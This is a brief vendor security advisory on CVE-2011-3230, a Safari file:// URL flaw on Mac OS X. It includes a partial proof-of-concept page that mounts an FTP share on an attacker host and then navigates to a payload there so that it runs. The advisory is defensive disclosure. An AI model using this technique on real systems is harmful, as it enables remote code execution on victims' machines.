LIONIC®
Security Chip Provider

25/10/2011
Doc No: SN-2011-43020

Security News
2011-43020 Apple Safari file:// Arbitrary Code Execution Vulnerability

1. Affected Version

Apple Safari before 5.1.1 on Mac OS X

2. Description

An arbitrary Code Execution vulnerability has been identified in Apple Safari before 5.1.1 on Mac OS X platform. A policy issue in the handling of file:// URLs may allow arbitrary remote code execution. This issue does not affect Windows systems.

3. Vulnerability Analysis

The partial proof-of-concept code is listed as follows:

```
<html>
<head>
<base href="file://">
<script>
function launch() {
      document.location = "/Volumes/#{lookup_lhost}/#{@payload_name}";
}

function share() {
      document.location = "ftp://anonymous:anonymous@#{lookup_lhost}/";
      setTimeout("launch()", 2000);
}

share();
```

```
</script>
</head>
<body>
</body>
</html>
```

Table 1: The partial proof-of-concept code

This vulnerability is caused due to Apple Safari does not enforce an intended policy for file:// URLs, which allows arbitrary remote code execution. By convincing a victim to visit a specially-crafted Web site, a remote attacker could exploit this vulnerability to execute arbitrary code on the system.

4. Recommendation

1. AegisLab IDP signature database can prevent this attack since 24/10/2011.
2. Upgrade to the latest non-affected version of the software.

5. Reference

1. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3230
2. http://support.apple.com/kb/HT5000